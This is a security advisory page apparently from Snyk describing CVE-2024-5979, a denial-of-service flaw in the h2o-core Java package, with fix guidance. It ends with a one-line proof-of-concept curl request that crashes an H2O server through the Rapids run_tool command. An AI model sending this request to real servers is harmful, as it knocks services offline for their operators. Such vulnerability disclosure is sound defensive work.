Denial Of Service Affecting ai.h2o:h2o-core package, versions [,3.46.0.6)
Threat Intelligence
Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
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Test your applications- Snyk IDSNYK-JAVA-AIH2O-7413593
- published30 Jun 2024
- disclosed27 Jun 2024
- creditpatrik-ha
Introduced: 27 Jun 2024
CVE-2024-5979 (opens in a new tab)How to fix?
Upgrade ai.h2o:h2o-core to version 3.46.0.6 or higher.
Overview
Affected versions of this package are vulnerable to Denial Of Service through the run_tool command in the rapids component, which allows the main function of any class under the water.tools namespace to be called. An attacker can crash the server by invoking the MojoConvertTool class with an invalid argument.
PoC
Start the server, running java -jar h2o.jar(version 3.46.0, older versions should also work)
Send the following POST request (replacing HOSTED_IP with your assigned local IP):
curl http://HOSTED_IP:54321/99/Rapids --data-urlencode 'ast=(run_tool "MojoConvertTool" ["", "", "", ""])'